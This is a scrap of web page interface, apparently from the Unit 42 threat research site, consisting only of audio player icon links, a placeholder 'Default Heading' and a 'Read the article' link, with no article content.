  ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg)

### Default Heading

Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg)  
Seekbar

![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg)  
![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg)  
Volume
![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)
